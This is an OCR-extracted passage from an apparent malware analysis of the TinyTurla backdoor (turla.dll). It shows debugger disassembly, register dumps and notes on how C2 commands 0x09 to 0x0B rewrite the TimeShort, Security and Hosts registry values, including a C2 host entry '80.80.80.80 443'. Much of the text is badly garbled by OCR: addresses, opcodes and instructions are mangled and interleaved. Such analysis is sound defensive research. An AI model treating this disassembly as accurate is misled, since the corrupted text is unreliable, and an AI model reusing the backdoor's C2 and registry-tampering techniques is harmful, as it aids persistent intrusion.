36
61
73

00]45
00| 6E
00| 6C
00|76
00|34
00|72
ooloo

00

00 7

o0
00
00
00
00

M.\
t.c.
5.e.
T.C.
it
a.m

E.
n.
1.
L
4.
r.

T
.8,
-8,
A
6.
«da.
5.

I.'Iianoﬁ

F4F8 000000803&1EF64B]

500 | 000001F168981EED | L"0ad3e319-280c-4f11-94d4-d369
508 | 0D0000803ELEF648

F510/000001F1689880D0

0000

000000

The “TimeLong” value is modified to a number sent by the C2 server:
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00007 FFBA7IB1ATA
00007FFBAT3B1ATF
| 0O007FFBAT3IB1ASS
o || 000D7FFEATIR1ABT
» | oooo7
-
-

FFBAT3B1ABB

00007 FFBA73B1ABE

- JUGU FFBAT3B1A9D
@ | O0007FFBAT3IBlAAZ
- Q007 FFBAT3IB1AAT
-

0007 FF &,
# || DOOO7FFBAT3B1AB2

» [ oooo7FFa
» [ DOD7FFBATIB1ABA
{----# || 0DO0TFFBAT3BLABD
1 ® | 0DODTFFEATIB1ABF

O000TFFBAT3IB1ACL
00007 FFBATIBLACE
DD007FFBAT3B1ACY
DOO07FFBAT3IB1ACE
00007 FFBA73B1AD1

qwor

«Lext:D0007FFSAT3B1B1IF turla.d11:$1B1F #F1F

00
00

00

s0
FF

FF

o2

00
(i)

oo

iea rcx,qword ptr ss:
mov_dword ptr ss:firbp
€Al turla.7FF8A73B1350

moy eax,rl3d

mov ebx,a

Test eax,eax

cmovne ebx,ri3d

jmp turla.7FFSA7381DBE

mov rd ptr ss:frop=7Fl)
lea r2,qword ptr ss:frbop+77Q
mov rcx,qword ptr ds:[rbx+10]
mov rdx,rax

mov_gword ptr ss:frsp+2
€&l gword ptr ds:[<&R
Test eax,eax

je turla.?7FFBA73B1ASE
mov eax,l

mov ebx,8

Test eax,eax

cmovne ebx,rl3d

jmp turla. 7FF!A7=3:IDM
mov_rcx,rdi

call tur1l.?Ffw3M430
cmp eax,r

je tur'ln.?FFW:l‘.l.ﬁcs
mov bl,

jmp tnr‘ln.?FFM?acmH
mov rex,rdi

E&T1 turla.7FFEA73BL4E0
mov rdx,qword ptr dsi[rsi]
ebx, eax

dword ptr ss:ffrbp+67], eax
rad,200

ru,qmrd prr ss:Brbop+770
réd,rsd

rcx, FFFFFFFFB0000002

qword ptr ss:f@rsp=2of,rax

gword ptr ds:[<iRegOpenkKeyExw>]
Test eax,eax

ris
ile=]

v
mov
mov
mov
Tea
xor
mov
mov

jne turla. nFaA?asmu

mov rbp
Tea rax.qwrd ptr ss:f§rbp I
mov rod,4

rdx word ptr ds:[7FFBA73B31C0]

ptr ss:@rsp-258§,rod
rsd réd

rsp+20§, rax
<&RegSetvalueExw=] v

9% Dump 1

9% Dump 2

000000803ELEF608

In:|gure 61

% Dump 3

27 00 oo|00
O00D00803EL1EFE18| 30 05 00 00|00

925 Dump 4

4 ourg 5

00 00 00|00 00 00 00 80 00 00 00 D.u.““.

W watch1  bellocals o Struct

0000080,

A confirmation message “08 00” is sent to the C2 server.

1st byte = 0x09 — modify the “TimeShort” registry value

RAX  DOOODOBO3EIEFE08
REX  0000000000002704
RCX  0O00000000000530
ROX  00007FFBAT3B31C0
RBP  DOOODDBO3ELEFSAL
RSP  0000DOBO3ELEF4D0
RSI  DO0O01F16B979130
RDI  0OOODLF16BASADAL
RS 0000000000000000
R9 0000000000000004
R10 0000000000000000
R11  0ODOOOBO3ELEF460
R1Z  0ODODOBO3ELEFEBO
R13  0000000000000008
R14  D00000000000000A
R15  DOOODOBO3ELEFE50
RIP  OOOOTFFSAT3BIBIF

RFLAGS  0000000000000246
ZF 1 PF 1 AF O
OF 0O SF O DF O
CFO TFO IF1

LastError

GS 002B F5 0053
ES O02E Q5 0028
€S 0033 35 0028

XB7ro
x87ri
MBTr2
XB7r3
X87r4
XB7rs
XB7re
NB7r7

xsrragunrd FFFF

00000000 (ERROR_SUCCESS)
LastStatus 00000000 (STATUS_SUCCESS)

L"TimeLong”

&L "9988"
&L"SYSTEM\\CurrentControlset
L"9988"

turla.00007FFBA73B1B1F

Empty 0.00000000000000004
Empty 0.00000000000000004
Empty 0.00000000000000000
Empty 0.00000000000000004
Empty 0.000000000

Empty 0.00000000000000004
Empty 0.00000000000000004
Empty 0.00000000000000004

00000080 F4D8
000000803E1EF4E

This command is similar to the one from above. The “TimeShort” value is modified

accordingly:
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+

ssssssnssse

qword

DDOO7FFBAT3BLAED
D00D7FFBATIBLAE3
00007 FFBATIBLAEA
00007 FF8AT3B1AEF
00007 FF8. B1AFS
D0007FFBA73B1AFT
FBA73B1AFD
7381801

8AT3B1BOS
fJL‘UlJ"FFSA 381B0B
00007 FFBAT3IB1B12
O0007FFBAT3B1B17
0D0007FFBAT3IB1B1A
00007 FFBAT3IB1B1F
00007 FF8AT381825
00007FFBAT 381829
0000TFFBATIB1B28
O0D07FFBAT3B1B31
Q0007FFBAT3B1B37
0 FFBAT3B1B3A
00007 FF8A7 3B1B3C
D000TFF8AT3IB1B41
D0D0O7FFBAT3B1B44
00007FFBAT3B1E49
00007 FFBAT3IB1B4C
00007 FF8AT3B184E
00007 FFBATIB1B50
O0007FFBAT3B1BSS
00007FFBAT3B1BS B
8AT3B1BSD
007 FF8A73B1B60
0000TFF8AT 381862
00007 FFBAT 381865
O0007FFBAT3B1BEB
D000D7FFBA73B1B6F
7381872
B1879
B1BTE

000O7FF8AT

«Text:D0007FFBAT3B1BAE turla.dl1:$1BAE #FAE

00
28
20

16
28

o0 80

oo

00

00 00

00

00
o0

00

00
00 00

xor

réd,rsd

mov rcx,FFFFFFFFE0000002
mov_gword ptr ss:frsp:zof,rax

gword ptr ds:[<&Reglp

TEsST &ax,eax

l:ur\a 7FFBAT3B1DB1
rcx,gword ptr ssi I
rax.qwrd ptr ss:

o
rclx gmrd ptr ds:[

ptr ss:firsp+
rsd 1r8d

qwrd ptr ss:frsps2

enkeyExw>]

TFFBAT3B31C0]
28§, rod

208, r

rbp-
rbp+

€& gword ptr ds: [dl.egseﬂrn'lnenm-]
mov rcx,qword ptr ss:frop+77Q

Test

eax, eax
ne turla.7FFSAT3B10AB
gword ptr ds:[<&R

egClosexey>]

mov dword ptr ds:[rsi+&],ebx

xor

Jmp
mov

cmg

1,b1
turla.7FFBAT3BIDBE3
FCX,r

eax,

je tur'l n.?FFW 3B1B5S

jnp
mov

t ||r la.7FFBAT3BIDB3
rex,rdi

di
call tuna. sssunuuo

E&11 turla, TFFBA73B14E0

rdx,qword ptr ds:[
ebx, eax
dword ptr ss:frbp+
rad, 20006
rax,qword prr ss:f
réd,rsd
rcx, FFFFEFFFS00000
qword ptr ss:frsp:2

E&W gword ptr ds: [<&R
TesT eax,eax

tlll"ll.. FFFBAT3B1DB1
rox,qword ptr ssi
rax,qword ptr ss
5

rﬂx:qmrn prr ds:[
dword ptr ss:frsp+

rsp+

rsij

&7, eax
rop+7 70
02

off , rax
egopenkeyExn=]

rop
rbp+6

7FFBAT3B31D8]
258,rad

200, ra

. egset\rn‘luesm— wl

ptr [DOOOTFFBAT3IBE3008 <turla.&RegSetvalueExw>]=<advapisz.RegSetvalueExw>

% Dump 1

DD0D00B03ELEF 608
000000803E1EF61E| 30 05 00 00|00 00

Anannnen3sciceesel aa 38 ne 1elee =

944 Dump 2

Figure 62
A confirmation message “09 00” is sent to the C2 server.

V4% Dump 3

27 0D 00|00 00 00 00|

2% Dump 4

00 00
An An

4% Dump 5

1st byte = 0x0A — modify the “Security” registry value

RAX 000000B03ELEFE08
RBX 0000000000002704
RCX 00000000000005 30
ROX  OODO7FFBAT3B31DS
RBP O00000BO3ELEF5AL
BSE  00DDDOOB0OIELEF4DO
RS5I 000001F16B8979130
RDI 000001F16BASADAL
RB 0000000000000000
RS9 0000000000000004
R10 0000000000000000
R11  0ODDDOBOZELEF460
R1Z 000000B0O3ELEFEBO
R13 0000000000000009
R14 0000000000000004
R15 000000803EL1EFE50
RIP 00007 FFBAT3B1BAE

RFLAGS  0000000000000246
ZF 1 PF1 AFOD
OF O SFO DF 0O
CFO TFO IF1

LastError

L"TimeShort"
&L"9988"

&L "SYSTEM\\CurrentControlset
L"2938"

turla. 00007 FFBA73B1BAE

{ERROR_SUCCESS)

00000000
LastStatus 00000000 (STATUS_SUCCESS)

GS 002B F5 0053
ES 0028 QS 0028
55 oo2e

€5 0033

X87r0
X87r1
x87ra
X87r3
XB7r4
NBTrS
XB7re
XBTr7

x87Tagword FFFF

This command is similar to the one from above. The “Security” value used in the
authentication process is changed by the backdoor:
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o] oooorFraarssises 48 8D 45 77 lea rax,qword ptr ss:frbp+7 70 RAX 0000000000000
® | 00D07FFBAT 3B186F 45 33 CO xor ra&d,rsd -
o | oooo7rraaraaisrz 48 C7 C1 02 00 00 80|mov rcx.;::r:rprs;{rmnnogl R e T LESYSTEMACUR et ontrol Sec
o 00007FF3A7381879 48 89 44 24 20 mov_gword ptr s=:frsp+2 = =
o] 00007FF8A73B1R7E EF 15 7C 14 00 00 |E&WN qword ptr ds-{megnpeutqcm] ROX  000O7FFBA73B3LFO L"Security
00007FF8AT 381884 85 co TesT eax,eax RBP  OODODOSO3ELEFSAL
00007FFBA73B1886| v OF 85 25 D2 00 00 jne turla,7FFEA7381D81 RSE  DODODOSOIELIEF4DO &L test”
00007 FFBAT 38188C 48 88 40 77 mov rex,qword ptr ss:firbp+77 RSI  DODODLIF168379130 &L"SYSTEM\\CurrentControlset
48 8D 45 &7 lea rax,qword ptr ss:frbp+6&7 RDI 000001F16BASADAL L test"
; 41 B9 04 00 00 00 mov rod, 4
ODO07FFBAT 3B1B34 48 8D 15 37 16 00 00|lea rdx,qword ptr ds:[7FFBAT3B31DE] RS 0000000000000000
00007FF8A73818A1 44 89 4C 24 28 mov dword ptr ss:Brspr2s),rad RS 0000000000000001
00007FF8A7 381BA6 45 33 CO xor rsd,rsd " a R10  0ODOOODCOOOODO0D
00007EFBA7 381849 48 B9 44 24 20 mov_gword ptr ss:lrsp+zoll,rax
00007FFBA7 3B1BAE FF 15 54 14 00 00 | E&W gword ptr ds: [<&RegSetvalueExws] :1; m:ﬂ:?i:gg
00007 FFBA73B1684 48 8B 4D 77 mov rcx,quord prr ss:frbp+77Q 1. 1
00007FF8 8 co test eax,eax R13  000000000000000A
00007 FF8& ~ OF 85 EB 01 00 00 ne_turla,7FFEA73B1DAB R14  000000000000000A
Q0007FFBA FF 15 62 14 00 00 qword ptr ds:[<8RegCloseKey>] R15 000000803ELEFE50
D00DTFFS. 89 5E OC mov dword ptr ds.[rsuwrebx
00007FFS 32 DB xor bl,bl RIP  0ODO7FFBA73B1C38 turla. DODOTFFBATIBIC3E
0D0O7FFBAT3IB1BCE| -~ E9 E3 01 00 00 jmp turla. rFFwsms:
O0007FFBAT3818D0 48 BB CF mov rex,rd RFLAGS 0000000000000246
DO007FFBAT 381803 EB 58 FB FF FF call turll.?FF&AﬂBlﬂD ZF1 PF1 AF O
00007FFBAT3818D8 41 3B C6 cmp eax,rlidd OF 0O SFO DF O
O0DDO7FFSA73B18DB| ~ 74 07 je turla.7FFBAT3B1BE4 CFO TFO IF1
00007 FFSA7 381800 B3 01 liﬂ\a' b1, {
00007FFBA73B18DF | ~ E9 CF 01 00 00 mp turla.?7FFBA73B1DE3
00007FFBAT3B1BE4 48 BB 1E mov rbx,qword ptr ds:[rsi] LastError 00000000 (ERROR_SUCCESS)
- 45 8B CF mov rox,rdi LastsStatus 00000000 (STATUS_SUCCESS)
ES 41 FB FF FF ‘ Turla. 7FF8A7381430
44 8B FO mov ridd,eax GS 002B FS DOS3
00007FFSAT381BF2 41 BS 06 00 02 00 mov rad,20006 ES 002B DS 0028
00007FFSAT3818F8 48 8D 45 67 lea rax,qword ptr ss:frbp+s7l €S 0033 3§ 0028
Q0007FFBAT 3818FC 45 33 Co xor rad,rsd
7 48 BB D3 mov rdx,rox x87r0 DO000DO0OD00000000000 STD Em 0, 00000000000000000
! * 48 89 4% E4 20 mov gword ptr ss:lfirsp+20f, rax x:7r1 &DODODODDDDDOOOODOO g: :m:gr 0. 0000000000000000(
! 2 : 5
! - Lo T %’E:&ﬁf;i?‘@?”'ﬁﬁﬂﬁmmmmj xB7r2 00000000D0DD00000000 STZ Empty O.0000000000000000C
| o | 00007 0E :
5 000000000000000000 =
| o | 0ooo7Fraaz3Bic1e 85 Co Test eax,eax REVE 3 00 SED EMpLY O onohoanuono omod
1 : 00007FFBAT3IBICIE| v OF 85 01 00 00 jne turla,7FFEA7381D81 X87r4 0000D000D000D0000000 ST4 Empty 0.00000C
: 0000TEFSATIBICIC 45 8B & mov rox,qword ptr ssil-bpesTl X87r5 00000000000000000000 5T5 Empty 0.00000000000000004
' 00007FF8A7381C20 44 8D rod,qword ptr ds: [rax+ 1} X87r6 00000000000000000000 5T6 Empty 0.00000000000000004
i ®]oooo7FE8AT3BIC24 43 89 dword ptr ss:frspr2al,risd X87r7 00000000000000000000 ST7 Empty 0.0000000000000000d
! o | 00007FFBAT3B1C29 48 8D €0 15 00 00| lea rdx,qword ptr ds'[:?FFnA?analFo]
i ] 00007FFBAT381C30 45 r8d,rad x87Tagword FFFF
: . rsp+20f,rdi
R.17; - <dRegsetvalueExw>] | v
N .
|
qword
. Text:00007FFBAT3B1C38 turla.d11:$1C38 #1038
$oumpi  @loump2  @oump3  Woump4  BDumps @ watch:  Iellocals ¢ Struct 0D00DBOIELEF4DS

Figure 63
A confirmation message “0A 00” is sent to the C2 server.

1st byte = 0x0B — modify the “Hosts” registry value

This command is similar to the one from above. The “Hosts” value that contains the list of C2
servers is changed by the malware:
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RAX 0000000000000000
RBX O00001F1EEB964FDO
RCX 00000000000005 30
RDX OD00TFFBAT3B3208
RBP D00000B03ELEFSAL
BSE 000000BO3ELEF4D0
RSI O000001F16B979130
RDI 000001F16BASADAL
R8 0000000000000000
R9 0000000000000001
R1O 0000000000000000
R11 O00000BO3ELEF460
R12 D00000B03ELEFEBO
R13 0000000000000008
R14 0000000000000020
R15 D00000B03ELEFE50
RIP 00007 FFBAT3B1CFY
RFLAGS 0000000000000246
ZF 1 PF1 AF D

OF 0 SFO DF O

CFO TFO IF1
LastError

L"SYSTEM\\CurrentControlsetri\
L"HOSTS"
&L"B0.80.80.80 443"

&L "SYSTEM\\CurrentControlset)
L"80.80.80.80 443"

turla. 00007FFBAT3BICFS

00000000 {ERROR_SUCCESS)

LastStatus 00000000 (STATUS_SUCCESS)

G5 DO2B FS 0053
ES 0028 QS 002B

Figure 64

. 48 BB 4D &7 mov rcx,qword ptr ss:frbp+e7Q
- B CoO test eax,eax
. ] « OF 85 61 01 00 OO jne_turla.7FF8A73B1DAB
! M FF 15 DS 13 00 00 d ptr ds: [<éRegClosekey>]
| M 48 88 CF mov 'cx r
! . EB DA F7 FF FF call :ur‘la TFFBAT3B1430
| . BB C8 mov ecx,eax
i . BB D8 mov ebx‘ea
| - EB AF F& FF FF call tl.lr"li 7FFBAT3B1310
i . 4C 8B FO mov ri4,ra
1 '] 45 85 CO Test rax,rax
{F -» ~ OF B4 44 01 00 00 je turla.7FFBAT381DB1
Ty . 44 88 C3 mov r8d,ebx
1 . 48 8B D7 moy rdx,rdi
HE - 48 8B C8 MmOV FCX,rax
i . E8 15 F7 FF FF €all turla.7FFSA73B1390
T . 48 8D S5E 10 1ea rbx,qword ptr ds:[rsi+10]
{8 . 48 88 CB mov_rex,rbx
] . EB C9 F6 FF FF €&l turla.7FFBA73B1350
i . 4C 89 33 mov uward ptr ds:[rbx],ri4
it . 32 DB xor bl,
| —e ~ E3 22 01 DO 0O Jmp \:nr'la 7FFBAT3IBIDB3
i M 48 BB CF mov rcx,rdi
1o . E8 97 F7 FF FF call turn. 7srsnas:.4m
T 41 3B C6 cmp eax,r
g = -~ 74 07 je turla. 7FF3¢I?BB].CA5
il + B3 01 mov bl,1
1| ~« E9 OE 01 00 00 jmp turla.?7FFBA73BI1DB3
1 L--e 48 8B 1E mov rbx,qword ptr ds:[rsi]
(i . 48 BB CF mov rex,rdi
15y . ES BO F7 FF FF €all turla.7FFBAT3B1430
1 - 44 88 FO mov ril4d,eax
il - 41 B9 06 00 02 0O mov rSd,20006
1 . 48 BD 45 77 lea rax,qword ptr ss:Brbp+778
1h | . 45 33 CO xor réd,rsd
Hia . 43 88 D3 mov *dx. bx
[ . 48 89 44 24 20 mov qword ptr ss: trsp—*‘ﬁ.rar
1 - 48 €7 C1 02 0D 00 BO|mov rcx,FFFFFFFFE0000002
ek . FF 15 2B 13 00 0O call :morﬂ prr ds:[<4ARegOpenkeyExws>]
. 85 CO Test eax,eax
e ] ~ OF B5 D4 00 DO DO jne turla.7FFBA73B1DBL
H - 45 BB 4D 77 mov rcx,qword ptr ss:frbp+77
1 - 44 8D 45 01 lea rod, ﬂword ptr_ds: [rax+ l]
! . 44 89 74 24 28 mov ptr ss:f@rsp+25f,riad
' . 48 8D 15 17 15 00 00|1lea rdx,quord ptr ds: [7FF8A?3B;208]
. 45 33 CO xor rsd,rsd
. 48 89 7C 24 20 mov qwr‘d ptr s,.;rsp 20§, rdi
. FF 15 09 13 00 00 €all aword ptr Emegsetvﬂ ueExw>]
= - T - 3
qword pr_r [DD0OTFFBAT3IE3008 <turla.&RegSetvalueExws>]=<advapi32.RegSetvalueExw>
«Text:D0D07FFBAT3IBICFY turla.dl1:$1CF9 #10F9
«
WWoump1  Y4pump2 WDump3 @MDump4  @Dumps P watchi  x=lLocals & struct
ess Hex ASCIT
000001F168964FD0 |53) 00 59 DO|53 00 54 00|45 00 4D qolsc 00 43 00|8.Y.5.T.E.M.\.C.
000001F163954FEO 5 00 2 0'! "2 nn 65 nn GE 00 f-l ﬂnlaa OD EF 00 u-r.r.e-i;!-t-c,cl.

2. rdx 00007FF8AY333208 L"Hosts"
3: r8 000000000000000

: r9e DDDGDGDI}DO’DCI’DOD.I

| 0000000000000000
0000000000000000

4E 8 | 0000000000000000

€S 0033 S5 0028

X87r0 00000000000000000000 5TO Empty 0.0000000000000000C
X87r1 00000000000000000000 ST1 Empty 0.0000000000000000C
¥B7r2 00000000000000000000 5TZ Empty 0.0000000000000000C
¥87r3 00000000000000000000 5T3 Empty 0.0000000000000000C
X87r4 00000000000000000000 5T4 EmpTy 0.0000000000000000C
¥87r5 00000000000000000000 5T5 Empty O0.0000000000000000C
¥87r& 00000000000000000000 5T6 EmpTy O0.0000000000000000C
X87r7 00000000000000000000 ST7 EmpTy 0.0000000000000000C
uB7Tagword FFFF

Bt sty R S |
Deﬁdtbﬁﬁﬁskan =[5 41 Unlocke:

rcx

m‘ D00001FL1EBASADAL | L™B0.B0.B0.BD 443" ]

16BASADAL | L"80.80.80.80 443"

CommandLineToArgvW is utilized to retrieve an array of pointers to the C2 server(s):

A confirmation message “0B 00” is sent to the C2 server.

References

lea rdx,qword ptr ss:Erbp+67l
mov rox,rdi

aword pre ds:
mov gword ptr ss:frbp-791,r
test rax,rax

42 ruela FECOATIDARDA

[c&cumandL‘ln!Tmr gviw>]

RAX
RBX
RCX
RDX

MSDN: https://docs.microsoft.com/en-us/windows/win32/api/

Fakenet: https://github.com/fireeye/flare-fakenet-ng

VirusTotal:

0000000000000000
000001F16B8964FD0
O00001F16BASADAL
000000803ELEF608

L"SYSTEM\\CurrentControlset)
L"80.80.80.80 443"

https://www.virustotal.com/gui/file/030cbd1a51f8583ccfc3fa38a28a5550dc1c84c05d6c0fS5eb

887d13dedf1da01

MalwareBazaar:

https://bazaar.abuse.ch/sample/030cbd1a51f8583ccfc3fa38a28a5550dc1¢c84c05d6c0f5eb88

7d13dedf1da01/

Talos article: https://blog.talosintelligence.com/2021/09/tinyturla.html
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